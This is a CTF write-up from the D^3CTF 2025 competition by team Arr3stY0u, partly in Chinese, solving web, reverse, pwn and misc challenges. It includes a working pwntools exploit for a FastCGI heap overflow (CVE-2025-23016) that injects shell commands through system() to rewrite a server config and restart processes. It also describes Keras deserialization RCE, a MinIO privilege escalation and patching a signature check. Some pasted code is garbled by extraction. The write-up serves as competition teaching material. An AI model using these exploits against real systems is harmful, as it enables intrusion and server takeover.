D^3CTF 2025 writeup by Arr3stY0u

admin 2025年6月2日17:40:32评论42 views字数 27830阅读92分46秒阅读模式
D^3CTF 2025 writeup by Arr3stY0u

山海关安全团队是一支专注网络安全的实战型团队,团队成员均来自国内外各大高校与企事业单位,总人数已达50余人。Arr3stY0u(意喻“逮捕你”)战队与W4ntY0u(意喻“通缉你”)预备队隶属于团队CTF组,活跃于各类网络安全比赛,欢迎你的加入哦~

CTF组招新联系QQ2944508194,misc、crypto、pwn方向均有位置~pwn方向有考核题~

WEB

d3model

A Flask web server

D^3CTF 2025 writeup by Arr3stY0u

Firstly, I could upload Keras model file. Then server would check it.

D^3CTF 2025 writeup by Arr3stY0u

The server would load it to check if that model is valid. The version of keras package is 3.8.0, so it’s vulnerable to CVE-2025-1550, insecure deserialization to RCE. Then I found the sample PoC in https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models.

Note that the server network doesn’t have internet access, so we have to find a way to read flag. Since server served page by reading index.html file and return it as response:

D^3CTF 2025 writeup by Arr3stY0u
So we could write to that file and read it later. Generate payload:
D^3CTF 2025 writeup by Arr3stY0u
Upload it to server. Then revisit the home page to read flag.
D^3CTF 2025 writeup by Arr3stY0u

d3invitation

An invitation creation web service. We also have another minio service link.

D^3CTF 2025 writeup by Arr3stY0u

We could upload file, then server would generate an invitation form for us. We noticed that there was an api that generated minio credential.

D^3CTF 2025 writeup by Arr3stY0u

Using minio cli, we can use that credential to authenticate. But it had very little permissions.

D^3CTF 2025 writeup by Arr3stY0u

After a lot of fuzzing, I found that we could use this user to create another user with any permissions! Firstly, prepare a full control permissions config

D^3CTF 2025 writeup by Arr3stY0u

Create user that has that config and read flag inside secret bucket

D^3CTF 2025 writeup by Arr3stY0u

d3jtar

A java web service, where we can upload file, backup and restore them.

D^3CTF 2025 writeup by Arr3stY0u

Server would store upload files at “/WEB-INF/views/” folder . If we could upload *.jsp file to that folder, we can got RCE.

D^3CTF 2025 writeup by Arr3stY0u

But the blacklist banned it.

D^3CTF 2025 writeup by Arr3stY0u

When creating a backup (archive), I found some problems with jtar library. I didn’t debug carefully but I think somethings were not correct at “org.kamranzafar.jtar.TarEntry#writeEntryHeader” function.

D^3CTF 2025 writeup by Arr3stY0u

So that it didn’t handle file name with unicode character correctly. After some fuzzing, I found that if we have “jsɰ” filename extension, after archiving (creating tar) file, it became “jsp” => bypass the blacklist. Write a script to upload, backup and restore.

D^3CTF 2025 writeup by Arr3stY0u

After uploading file, we would have filename returned back in response. Access it to get RCE and get flag.

D^3CTF 2025 writeup by Arr3stY0u

tidy quic

代码规定了一个waf

func (w *wrap) Read(p []byte) (interror) { n, err := w.ReadCloser.Read(p) if err != nil && !errors.Is(err, io.EOF) {  return n, err } for i := 0; i < n; i++ {  if p[i] == w.ban[w.idx] {   w.idx++   if w.idx == len(w.ban) {    return n, ErrWAF   }  } else {   w.idx = 0  } } return n, err}

我们不能存在连续的flag字段,我刚开始想到的是用http3的特性之类的,但后面觉得我们是在应用层进行操作,网络层的特性已经被屏蔽了,于是审计代码发现

D^3CTF 2025 writeup by Arr3stY0u

这块的buf缓存是可以复用的,我们只要每次保证length相同,就可以拿到上次申请的buff,类似于这种效果

D^3CTF 2025 writeup by Arr3stY0u

对于题目使用的http3请求,可以使用curl来完成请求

D^3CTF 2025 writeup by Arr3stY0u

得到了flag

REVERSE

d3rpg-revenge

在游戏中通过与这个人的对话选择"我是Reverse"手,就可以进行flagcheck

D^3CTF 2025 writeup by Arr3stY0u
D^3CTF 2025 writeup by Arr3stY0u

首先随便输入然后通过CE附加d3rpg,然后直接在内存窗口搜索AAAAAAAAAAAA,然后下断点

D^3CTF 2025 writeup by Arr3stY0u
D^3CTF 2025 writeup by Arr3stY0u

然后我们在d3rpg.dll+50DEA的地方断了下来,我们可以换xdbg进行调试并且在d3rpg.dll+50DEA的地方下断点继续重复之前的动作

D^3CTF 2025 writeup by Arr3stY0u

然后我们发现第一次断在这里是另一个字符串,我们在内存里面搜索一下这个字符串

D^3CTF 2025 writeup by Arr3stY0u

CE里面搜索得到一个ruby脚本,这个脚本就是我们的check脚本是个魔改的xxtea

D^3CTF 2025 writeup by Arr3stY0u

这是我们提取出来的ruby脚本

class Secret_Class    DELTA = 0x1919810 | (($de1ta + 1) * 0xf0000000)    def initialize(new_key)      @key = str_to_longs(new_key)      if @key.length < 4        @key.length.upto(4) { |i| @key[i] = 0 }      end    end    def self.str_to_longs(s, include_count = false)      s = s.dup      length = s.length      ((4 - s.length % 4) & 3).times { s << "" }      unpacked = s.unpack('V*').collect { |n| int32 n }      unpacked << length if include_count      unpacked    end    def str_to_longs(s, include_count = false)      self.class.str_to_longs s, include_count    end    def self.longs_to_str(l, count_included = false)      s = l.pack('V*')      s = s[0...(l[-1])] if count_included      s    end    def longs_to_str(l, count_included = false)      self.class.longs_to_str l, count_included    end    def self.int32(n)      n -= 4_294_967_296 while (n >= 2_147_483_648)      n += 4_294_967_296 while (n <= -2_147_483_648)      n.to_i    end    def int32(n)      self.class.int32 n    end     def mx(z, y, sum, p, e)      int32(        ((z >> 5 & 0x07FFFFFF) ^ (y << 2)) +        ((y >> 3 & 0x1FFFFFFF) ^ (z << 4))      ) ^ int32((sum ^ y) + (@key[(p & 3) ^ e] ^ z))    end    def self.encrypt(key, plaintext)      self.new(key).encrypt(plaintext)    end    def encrypt(plaintext)      return '' if plaintext.length == 0      v = str_to_longs(plaintext, true)      v[1] = 0 if v.length == 1      n = v.length - 1      z = v[n]      y = v[0]      q = (6 + 52 / (n + 1)).floor      sum = $de1ta * DELTA      p = 0      while(0 <= (q -= 1)) do        sum = int32(sum + DELTA)        e = sum >> 2 & 3        n.times do |i|          y = v[i + 1];          z = v[i] = int32(v[i] + mx(z, y, sum, i, e))          p = i        end        p += 1        y = v[0];        z = v

= int32(v

+ mx(z, y, sum, p, e))      end      longs_to_str(v).unpack('a*').pack('m').delete("n")    end    def self.decrypt(key, ciphertext)      self.new(key).decrypt(ciphertext)    end  endend def validate_flag(input_flag)  c_flag = input_flag + ""  result = $check_flag.call(c_flag)  result == 1end  def check  flag = $game_party.actors[0].name  key = Scene_RPG::Secret_Class.new('rpgmakerxp_D3CTF')  cyphertext = key.encrypt(flag)  if validate_flag(cyphertext)    $game_variables[1] = 100  else    $game_variables[1] = 0  endend def check1  flag = $game_party.actors[0].name  if flag == "ImPsw"    $game_variables[2] = 100  else    $game_variables[2] = 0  endend

密文在secret_dll.dll里面

D^3CTF 2025 writeup by Arr3stY0u

exp

#include <stdio.h>#include <stdlib.h>#include <stdint.h>#define DELTA 0xf1919810#define MX(z, y, sum, p, e, key)     ( (( ((z >> 5) & 0x07FFFFFF) ^ (y << 2) ) +        ( ((y >> 3) & 0x1FFFFFFF) ^ (z << 4) ) ) ^       ( ( (sum) ^ (y) ) + ( (key)[((p) & 3) ^ (e)] ^ (z) ) ) ) & 0xFFFFFFFF void btea(uint32_t* v, int n, uint32_t const key[4]){    uint32_t y, z, sum;    unsigned p, rounds, e;    if (n > 1)            /* Coding Part */    {        rounds = 6 + 52 / n;        sum = 0;        z = v[n - 1];        do        {            sum += DELTA;            e = (sum >> 2) & 3;            for (p = 0; p < n - 1; p++)            {                y = v

;                z = v

+= MX(z, y, sum, p, e, key);            }            y = v[0];            z = v[n - 1] += MX(z, y, sum, p, e, key);        } while (--rounds);    }    else if (n < -1)      /* Decoding Part */    {        n = -n;        rounds = 6 + 52 / n;        sum = rounds * DELTA;        y = v[0];        do        {            e = (sum >> 2) & 3;            for (p = n - 1; p > 0; p--)            {                z = v

;                y = v

-= MX(z, y, sum, p, e, key);            }            z = v[n - 1];            y = v[0] -= MX(z, y, sum, p, e, key);            sum -= DELTA;        } while (--rounds);    }} int main(){             uint32_t v[5] = { 0x7d6f152e,0x52c072ea,0x06bf1d2c,0xbb5d43f2,0x4dde498f };        uint32_t key[4] = { 0x6D677072,0x72656b61,0x445f7078,0x46544333 };        btea(v, -5, key);         for (int i = 0; i < 4; i++)        {            for (int j = 0; j < 4;j++)            {                printf("%c", (v[i] >> (8 * j)) & 0xFF);            }        }  return 0;}

D^3CTF 2025 writeup by Arr3stY0u

AliceInPuzzle

比较典型的fork进程ptrace附加调试,但aarch64平台。

int __fastcall main(int argc, const char **argv, const char **envp){  __int64 v3; // x0   v3 = setup_signal_handlers();  child_pid = fork(v3);  if ( child_pid )    tracer_main();  else    tracee_main();  return 0;}

被调试的子进程会释放ELF文件并执行。

void tracee_main(void){  int v0; // w0  unsigned int v1; // w19  __int64 v2; // [xsp+0h] [xbp-20h] BYREF  _QWORD v3[2]; // [xsp+8h] [xbp-18h] BYREF   v0 = syscall(SYS_memfd_create, "puzzle"10);  if ( v0 < 0 || (v1 = v0, write(v0, payload, 0x1936A0) != 0x1936A0) )    exit(1);  usleep(1000);  v2 = 0;  v3[0] = "puzzle";  v3[1] = 0;  fexecve(v1, v3, &v2);}

elf执行到dbg指令处触发异常,进入sigtrap回调开始解密代码,在下一个dbg指令处停止。

void handle_sigtrap(unsigned int a1){  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]   v9[0] = &v10;  v9[1] = 0x110;  ++handle_sigtrap(int)::sig_count;  if ( !ptrace(PTRACE_GETREGSET, a1, 1, v9) )  {    v2 = v11;    v3 = ptrace(PTRACE_PEEKTEXT, a1, v11, 0);    v4 = v3;    v5 = (_DWORD *)_errno_location(v3);    if ( !*v5 && v4 == 0xD4200000 ) // arm64 debug指令    {      while ( 1 )      {        v6 = ptrace(PTRACE_PEEKTEXT, a1, v2, 0);        if ( *v5 )          break;        v7 = v6 + 0xE3201F;        ptrace(PTRACE_POKETEXT, a1, v2, v6 & 0xFFFFFFFF00000000LL | (unsigned int)(v6 + 0xE3201F));        if ( *v5 || v7 == v4 )          break;        v2 += 4;      }    }  }}

解密完后就能正常反编译了

puzzle

// 0x4020CC    v46 = puzzle_input;    do    {      for ( k = 0; k != 9; ++k )      {        if ( v46[k] )        {          v49 = v44[k];          if ( (v49 & 1) == 0 )          {            v48 = v46[k];            if ( v48 != sub_401BD0(v2, k, v48, puzzle_input) )              v45 = v49;          }        }      }      ++v2;      v44 += 9;      v46 += 9;    }    while ( v2 != 9 );

puzzle地图数据采用leb128编码。

  // 0x401E5C leb128 decode  v3 = (int *)byte_5A0040;  v4 = 0;  v5 = 0;  v6 = 0;  do  {    v7 = (*(_BYTE *)v3 & 0x7F) << v6;    v6 += 7;    v5 |= v7;    if ( (*(_BYTE *)v3 & 0x80) == 0 )    {      *(_DWORD *)&puzzle_data[4 * v4++] = v5;      v6 = 0;      v5 = 0;    }    v3 = (int *)((char *)v3 + 1);  }  while ( v3 != &dword_5A007F );

提取puzzle地图数据

import ioimport leb128import struct buf = io.BytesIO(ida_bytes.get_bytes(0x5A004063))data = []for i in range(21):    v, size = leb128.u.decode_reader(buf)    data.append(v) b = list(struct.pack('<21I', *data))for i in range(9):    print([b[i*9+j] for j in range(9)])

puzzle数据

[0, 6, 0, 6, 0, 0, 0, 2, 0][0, 3, 0, 2, 4, 0, 0, 0, 1][0, 0, 6, 0, 0, 4, 4, 3, 6][0, 0, 2, 6, 0, 6, 6, 0, 0][0, 7, 7, 0, 0, 0, 5, 8, 0][0, 0, 4, 7, 0, 6, 3, 0, 0][5, 6, 6, 6, 0, 0, 0, 0, 0][0, 6, 0, 6, 0, 0, 6, 8, 0][0, 0, 0, 2, 0, 0, 6, 0, 8]

puzzle验证函数。

int __fastcall sub_401BD0(int a1, int a2, char a3, char *a4){  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]   v6 = 1;  v7 = 1;  v8 = a3;  v17 = *(_QWORD *)off_59F688;  byte_5A1B20[9 * a1 + a2] = 1;  *(_OWORD *)v15 = xmmword_5353C0;  // 0 1 0 -1  *(_OWORD *)v16 = xmmword_5353D0;  // 1 0 -1 0  do  {    y = a1 + v15[v6 - 1];    x = a2 + v16[v6 - 1];    if ( y <= 8 && x <= 8 )    {      v13 = 9 * y + x;      if ( (byte_5A1B20[v13] & 1) == 0 && a4[v13] == v8 )      {        v14 = a4;        v7 += sub_401BD0(y, x, v8, a4);        a4 = v14;      }    }    ++v6;  }  while ( v6 != 5 );  if ( v17 != *(_QWORD *)off_59F688 )    sub_506470();  return v7;}

这其实是一种叫码牌(fillomino)的谜题游戏。

https://www.cross-plus-a.com/cn/puzzles.htm#Fillomino

Fillomino "Polyominous")谜题的盘面是大小随意的长方形格网,在有的小格中有数字。需要将盘面分为几个大块,每个大块包含的小格数量要相当于大块的小格包含的数字。大小相同的大块不可以水平或垂直地相连。不包含数字的小格也可以构成大块,有助于解决该谜题。

手搓就行了,从边角入手。

data = [366666622,332244331,666654436,622656666,477755586,444776388,566676338,566676688,555226688,000] import leb128 data = struct.unpack('<21I'bytes(data))s = b''for i in range(21):    s += leb128.u.encode(data[i])s = s.hex()[::-1############ import hashlibprint(s)print(hashlib.md5(s.encode()).hexdigest())
800489c8280149a858040ac8688389c868820a683803c9c868034909888189e878020988680449a85883c9e8480389c86882894828038968480249c868038928388109882801c868280189c8680389c838 a6410f9a866c52763c11bce9fb8b06ca

至于puzzle的输入为什么要加个逆序才会提示成功呢?可能跟mangle函数的实现有关,没仔细看,卡了好久。

  v5 = (uint8_t *)strdup(v12);  while ( 1 )  {    v8 = strlen(v5);    if ( v4 >= v8 >> 1 )      break;    v6 = v5[v4];    v5[v4] = v5[v8 - 1 - v4];    v7 = &v5[strlen(v5) - v4++];    *(v7 - 1) = v6;  }

d3kernel

驱动部分有个简单的vm实现。

第一部分比较简单,就是往对应内存位置填充flag数据。

d3vm = d3vm_create(200);v124 = 18;si128 = _mm_load_si128((const __m128i *)&dword_1400042A0);d3vm_set_code(d3vm, si128.m128i_i32, 20);off = 11;for ( k = 0; k < 36; ++k ){    si128.m128i_i32[1] = buffer[k + 256];    si128.m128i_i32[3] = off; // mem[off] = flag[k]    d3vm_exec(d3vm, 0, 0);    ++off;}v126 = 18;v125 = _mm_load_si128((const __m128i *)&dword_1400042A0);d3vm_set_code(d3vm, v125.m128i_i32, 20);v125.m128i_i32[1] = 36;v125.m128i_i32[3] = 10; // mem[10] = 36d3vm_exec(d3vm, 0, 0);

第二部分对输入的数据加密并验证。

d3vm_set_code(d3vm, v131, 308);d3vm_exec(d3vm, 0, (void (__fastcall *)(__int64 *, _QWORD, _QWORD))sub_140002490);......          v32 = 36;while ( 1 ){v33 = v136[v31];--v32;v34 = *((_BYTE *)&dword_140005030 + v31++);if ( v33 != v34 )  goto LABEL_65;if ( !v32 ){  if ( byte_1400051CC )    goto LABEL_65;  v5 = 29;  v35 = &v116;  v36 = 0;  // b'qwq, why!!!!! my secret!!!!!x00'  v116 = *(_OWORD *)byte_140004270;  qmemcpy(v117, "c7 %5-=kjmloO"13);

把字节码翻译成汇编指令。

bytecode = [10024014010024014110024014210024014310100240144121012058761010120122142101112012214312212342341201011140124101114473018] sp = -1pc = 0v10 = pc while True:    opcode = bytecode[pc]    asm = f'{pc} '    pc += 1    match opcode:        case 1:            sp-=1            asm += 'add'        case 22:            sp-=1            asm += 'push mem[mem[pop()]]'        case 23:            sp-=1            op1 = bytecode[pc]            pc += 1            asm += f'pop mem[mem[{op1}]]'        case 4:            asm += f'xor'        case 5:            sp-=1            asm += 'less'        case 7:            dst = bytecode[pc]            pc += 1            asm += f'jmp {dst}'        case 8:            sp-=1            dst = bytecode[pc]            pc += 1            asm += f'jmp.T {dst}'        case 10:            sp += 1            op1 = bytecode[pc]            pc += 1            asm += f'push {op1}'        case 12:            sp += 1            op1 = bytecode[pc]            pc += 1            asm += f'push mem[{op1}]'        case 14:            sp -= 1            op1 = bytecode[pc]            pc += 1            asm += f'pop mem[{op1}]'        case 24:            op1 = bytecode[pc]            pc +=1            asm += f'callext {pc} {op1}'        case 18:            asm += 'return'        case _:            print('unk', opcode)            break    print(asm)    if opcode == 18:        break
0 push 02 callext 4 04 pop mem[0]6 push 08 callext 10 010 pop mem[1]12 push 014 callext 16 016 pop mem[2]18 push 020 callext 22 022 pop mem[3]24 push 10026 callext 28 028 pop mem[4]30 push mem[10]32 push mem[0]34 less35 jmp.T 7637 push 1039 push mem[0]41 add42 push mem[mem[pop()]]43 pop mem[2]45 push 1147 push mem[0]49 add50 push mem[mem[pop()]]51 pop mem[3]53 push mem[2]55 push mem[3]57 xor58 pop mem[mem[4]]60 push mem[0]62 push 164 add65 pop mem[0]67 push mem[4]69 push 171 add72 pop mem[4]74 jmp 3076 return

算法比较简单mem[10]作为初始key,相邻字节异或。

解出flag

ea = 0x140005030data = [ida_bytes.get_dword(ea+i*4) for i in range(36)]key = 36s = []for i in range(36):    key ^= data[i]    s.append(key)print(bytes(s)) # b'a68dfb06-798f-4bd1-9e81-011aaec113f0'

locked-door

题目加vmp壳了,调试会被检测弹窗退出。

先用插件过掉反调试,往ExitProcess中间下个断点,直接dump出来。

或者用这个脚本也是可以的。

https://github.com/oureveryday/VMPUnpacker/blob/master/python/vmpunpacker.py

根据字符串信息定位到关键函数。

void sub_1400FCCC0(){  int v0; // [rsp+20h] [rbp-338h]  int v1; // [rsp+20h] [rbp-338h]  _BYTE *v2; // [rsp+28h] [rbp-330h]  __int64 v3; // [rsp+38h] [rbp-320h]  int v4; // [rsp+58h] [rbp-300h]  int v5[64]; // [rsp+70h] [rbp-2E8h] BYREF  int Val[116]; // [rsp+170h] [rbp-1E8h] BYREF   printf("Flag is behind the doorn");  // -----BEGIN PUBLIC KEY-----  // MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA9d/0tTYVPQJgfmzWyQRn  // kuZMomm2+jKEi8mFiRIoRLzP/6daOAcZ7UipNcMTA+bii9BTqftTqZmLraHA9FR7  // 47ZnGnQE7KimRIj+q35fhVCXVS2hna2OYkpKvyMUg6fcXuBQ2tRWjT/0+0y0w1xR  // BFUcgGz9RDJrtTQC/4Rf94In95ZcggQlJuSoBvFoPws+X/dH32Zliq4jOAf+Mw1f  // 3bIPNme7bE3n475JmX2OtLll3tOHyHWcKtjdCgYgXqfWPesyn4FrB13bHJ45TiIg  // 6TOyTQdS0lHb6/6n+Cn2ofwOsJx07odgRgFdaS3lfSfGK3UKueVg/uSvOes1kWDP  // RQIDAQAB  // -----END PUBLIC KEY-----  vm_decrypt_string(byte_140385180, Val, 450);  v3 = sub_1400FC7D0(Val);  v0 = (unsigned int)getfile("key1.bin"256);  decrypt(v0, v5);  if ( verify((__int64)"Welcome", (__int64)v5, 256, v3) )  {    printf("The key1 is correct, but there is a second doorn");    v2 = malloc(451u);    memcpy(v2, (int)Val, 450u);    v2[450] = 0;    v4 = sub_1400FC7D0(v2);    v1 = (unsigned int)getfile("key2.bin"256);    decrypt(v1, v5);    // flag{Y0u_0p3n_7h3_d00r!!!}    sub_1400FC4A0((int)"Here is the key", (int)v5, 256, v4);  }  else  {    printf("The key1 is wrongn");  }  sub_1402902E8();}

就是一个常规的rsa2048_sha256验证算法。

_BOOL8 __fastcall verify(__int64 a1, __int64 a2, __int64 a3, __int64 pubkey){  // [COLLAPSED LOCAL DECLARATIONS. PRESS NUMPAD "+" TO EXPAND]   v8 = evp_digest();  if ( !v8 )    sub_1400FC3A0();  v4 = (unsigned int)sha256_md();  if ( (int)sub_1400FD7F0(v8, 0, v4, 0, pubkey) <= 0 )    sub_1400FC3A0();  v5 = pad(a1);  if ( (int)EVP_DigestVerifyUpdate(v8, a1, v5) <= 0 )    sub_1400FC3A0();  LODWORD(Size) = 0;  v9 = sha256_md();  EVP_DigestUpdate(off_1403A1F70[0], 4, (unsigned int)Buf2, (unsigned int)&Size, (__int64)v9, 0);  if ( memcmp(byte_1403A1F50, Buf2, (unsigned int)Size) )  {    printf(      "File corrupted! This program has been manipulated and maybe it's infected by a Virus or cracked. This file won't work anymore.n");    sub_1400FC3A0();  }  v7 = EVP_DigestVerifyFinal(v8, a2, a3);  sub_140101570(v8);  if ( v7 < 0 )    sub_1400FC3A0();  return v7 == 1;}
void __stdcall sub_1400FC450(){  char v0[24]; // [rsp+20h] [rbp-28h] BYREF   vm_decrypt_string(byte_140385890, v0, 20);  printf("flag{%s}n", v0);}

题目逻辑还是比较清晰的,key1key2验签成功后会调用sub_1400FC450打印出flag

问题是N 2048位也没办法分解,没有私钥自己来签名是完全做不到的。

题目描述中有提到key1key2的验证方式是相同的,所以可以在EVP_DigestVerifyFinal中间下个断点,

EVP_DigestVerifyFinal断下后,回到上一层返回地址,把返回值rax改成1,运行后flag就自己打印出来了。

Flag is behind the door

The key1 is correct, but there is a second door

The key2 is correct, here is your flag

flag{Y0u_0p3n_7h3_d00r!!!}

PWN

d3cgi

CVE-2025-23016

首先使用curl初始化堆布局,方便后续堆溢出覆盖fillBuffProc,替换lighttpd.conf,重启lighttpd进程再访问web即可获取flag

#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *import oscontext(arch='i386', os='linux', log_level='debug')def run_command(command,filename):    for i in command:        print(i)        os.system("curl http://35.220.136.70:30497")        exe = context.binary = ELF('./challenge')        def start(argv=[], *a, **kw):            return remote("35.220.136.70"31485)        """        typedef struct {            unsigned char version;            unsigned char type;            unsigned char requestIdB1;            unsigned char requestIdB0;            unsigned char contentLengthB1;            unsigned char contentLengthB0;            unsigned char paddingLength;            unsigned char reserved;        } FCGI_Header;        """        def makeHeader(type, requestId, contentLength, paddingLength):            header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)            return header        """        typedef struct {            unsigned char roleB1;            unsigned char roleB0;            unsigned char flags;            unsigned char reserved[5];        } FCGI_BeginRequestBody;        """        def makeBeginReqBody(role, flags):            return p16(role)[::-1] + p8(flags) + b"x00" * 5        io = start()        header = makeHeader(909000)        #print(hex(exe.plt["system"]))        if p8(i)==b'"':            commadline = b"/bi;echo -n '" + p8(i) + b"'>>./" + filename            commadline = commadline.ljust(20b'x00')        else:            commadline=b"/bi;echo -n ""+p8(i)+b"">>./"+filename            commadline=commadline.ljust(20b'x00')        #io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*0)+ p32(0xffffffff) + p32(0xffffffff)  + b"a" * (8+8) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )        io.send(makeHeader(1180) + makeBeginReqBody(10) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*3)+ p32(0xffffffff) + p32(0xffffffff)  + b"a" * (0x30) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )        sleep(1.5)        io.close()def run_command2(command):    for i in range(1):        print(i)        os.system("curl http://35.220.136.70:30497")        exe = context.binary = ELF('./challenge')        def start(argv=[], *a, **kw):            return remote("35.220.136.70"31485)        """        typedef struct {            unsigned char version;            unsigned char type;            unsigned char requestIdB1;            unsigned char requestIdB0;            unsigned char contentLengthB1;            unsigned char contentLengthB0;            unsigned char paddingLength;            unsigned char reserved;        } FCGI_Header;        """        def makeHeader(type, requestId, contentLength, paddingLength):            header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)            return header        """        typedef struct {            unsigned char roleB1;            unsigned char roleB0;            unsigned char flags;            unsigned char reserved[5];        } FCGI_BeginRequestBody;        """        def makeBeginReqBody(role, flags):            return p16(role)[::-1] + p8(flags) + b"x00" * 5        io = start()        header = makeHeader(909000)        # print(hex(exe.plt["system"]))        commadline = b'/bi;'+command        commadline = commadline.ljust(20b' ')        #io.send(makeHeader(1, 1, 8, 0) + makeBeginReqBody(1, 0) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*0)+ p32(0xffffffff) + p32(0xffffffff)  + b"a" * (8+8) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )        io.send(makeHeader(1180) + makeBeginReqBody(10) + header + (p8(0x13) + p8(0x13) + b"b" * 0x26)*8 + p8(0) * (2*3)+ p32(0xffffffff) + p32(0xffffffff)  + b"a" * (0x30) + commadline +p32(0) * 3 + p32(exe.plt["system"]) )        sleep(1.5)        io.close()run_command(b"server.document-root = "/home/ctf/www"nserver.port = 8888nindex-file.names = ("flag")nserver.modules = (n    "mod_fastcgi",n)",b'2')run_command(b"cp flag ./www;kill 13;mv 2 ./lighttpd.conf;LD_LIBRARY_PATH=/home/ctf/libs /home/ctf/lighttpd -f /home/ctf/lighttpd.conf",b'4')run_command2(b"chmod 777 ./4")run_command2(b"./4")

MISC

d3rpg-signin

跟程序员对话得到村长的密码

D^3CTF 2025 writeup by Arr3stY0u
前往地下酒楼
D^3CTF 2025 writeup by Arr3stY0u
有几个商品可以买
D^3CTF 2025 writeup by Arr3stY0u
通过和其他npc的对话,得知金钱为单字节有符号数据,所以购买255RMB的商品可得到1RMB
D^3CTF 2025 writeup by Arr3stY0u

但是想要购买128RMB的商品,就得刷128次,于是想到用CE修改

通过增加的值搜索

D^3CTF 2025 writeup by Arr3stY0u
反复搜索后找到
D^3CTF 2025 writeup by Arr3stY0u

得到1RMB相当于增加2

再通过直接搜索值的规律,当前为15,下次就是17

D^3CTF 2025 writeup by Arr3stY0u
D^3CTF 2025 writeup by Arr3stY0u
找到多组数据,由于1RMB等于2,所以将这些数据全部修改为127RMB,也就是254,初始值为1,所以修改成255
D^3CTF 2025 writeup by Arr3stY0u
再购买一次255RMB的商品,即可得到一串base64加密字符
D^3CTF 2025 writeup by Arr3stY0u
D^3CTF 2025 writeup by Arr3stY0u

base64解密得到flag:d3ctf{W3lc0m3_7o_d3_RpG_W0r1d}

d3image 

Exp:

pyproject.toml

[project]name = "attachment"version = "0.1.0"description = "Add your description here"requires-python = ">=3.11"dependencies = [    "numpy>=2.2.6",    "pillow>=11.2.1",    "reedsolo>=1.7.0",    "torch>=2.7.0",    "torchvision>=0.22.0",]
utils.py
import torch.nn as nnimport torch.nn.init as initimport torchimport numpy as npimport mathfrom reedsolo import RSCodecimport zlibrs = RSCodec(128)def initialize_weights(net_l, scale=1):    if not isinstance(net_l, list):        net_l = [net_l]    for net in net_l:        for m in net.modules():            if isinstance(m, nn.Conv2d):                init.kaiming_normal_(m.weight, a=0, mode='fan_in')                m.weight.data *= scale  # for residual block                if m.bias is not None:                    m.bias.data.zero_()            elif isinstance(m, nn.Linear):                init.kaiming_normal_(m.weight, a=0, mode='fan_in')                m.weight.data *= scale                if m.bias is not None:                    m.bias.data.zero_()            elif isinstance(m, nn.BatchNorm2d):                init.constant_(m.weight, 1)                init.constant_(m.bias.data, 0.0)class IWT(nn.Module):    def __init__(self):        super(IWT, self).__init__()        self.requires_grad = False    def forward(self, x):        r = 2        in_batch, in_channel, in_height, in_width = x.size()        #print([in_batch, in_channel, in_height, in_width])        out_batch, out_channel, out_height, out_width = in_batch, int(            in_channel / (r ** 2)), r * in_height, r * in_width        x1 = x[:, 0:out_channel, :, :] / 2        x2 = x[:, out_channel:out_channel * 2, :, :] / 2        x3 = x[:, out_channel * 2:out_channel * 3, :, :] / 2        x4 = x[:, out_channel * 3:out_channel * 4, :, :] / 2        h = torch.zeros([out_batch, out_channel, out_height, out_width]).float()        h[:, :, 0::20::2] = x1 - x2 - x3 + x4        h[:, :, 1::20::2] = x1 - x2 + x3 - x4        h[:, :, 0::21::2] = x1 + x2 - x3 - x4        h[:, :, 1::21::2] = x1 + x2 + x3 + x4        return hclass DWT(nn.Module):    def __init__(self):        super(DWT, self).__init__()        self.requires_grad = False    def forward(self, x):        x01 = x[:, :, 0::2, :] / 2        x02 = x[:, :, 1::2, :] / 2        x1 = x01[:, :, :, 0::2]        x2 = x02[:, :, :, 0::2]        x3 = x01[:, :, :, 1::2]        x4 = x02[:, :, :, 1::2]        x_LL = x1 + x2 + x3 + x4        x_HL = -x1 - x2 + x3 + x4        x_LH = -x1 + x2 - x3 + x4        x_HH = x1 - x2 - x3 + x4        return torch.cat((x_LL, x_HL, x_LH, x_HH), 1)def random_data(cover,device):    return torch.zeros(cover.size(), device=device).random_(02)def auxiliary_variable(shape):    noise = torch.zeros(shape)    for i in range(noise.shape[0]):        noise[i] = torch.randn(noise[i].shape)    return noisedef computePSNR(origin,pred):    origin = np.array(origin)    origin = origin.astype(np.float32)    pred = np.array(pred)    pred = pred.astype(np.float32)    mse = np.mean((origin/1.0 - pred/1.0) ** 2 )    if mse < 1.0e-10:      return 100    return 10 * math.log10(255.0**2/mse)def make_payload(width, height, depth, text, batch = 1):    message = text_to_bits(text) + [0] * 32    payload = message    while len(payload) < batch * width * height * depth:        payload += message    payload = payload[:batch * width * height * depth]    return torch.FloatTensor(payload).view(batch, depth, height, width)def text_to_bits(text):    return bytearray_to_bits(text_to_bytearray(text))def bytearray_to_bits(x):    result = []    for i in x:        bits = bin(i)[2:]        bits = '00000000'[len(bits):] + bits        result.extend([int(b) for b in bits])    return resultdef text_to_bytearray(text):    assert isinstance(text, str), "expected a string"    x = zlib.compress(text.encode("utf-8"))    x = rs.encode(bytearray(x))    return xdef bits_to_bytearray(bits):    ints = []    bits = np.array(bits)    bits = 0 + bits    bits = bits = bits.tolist()    for b in range(len(bits) // 8):        byte = bits[b * 8:(b + 1) * 8]        ints.append(int(''.join([str(bit) for bit in byte]), 2))    return bytearray(ints)def bytearray_to_text(x):    try:        text = rs.decode(x)        text = zlib.decompress(text[0])        return text.decode("utf-8")    except BaseException:        return False
utils.py
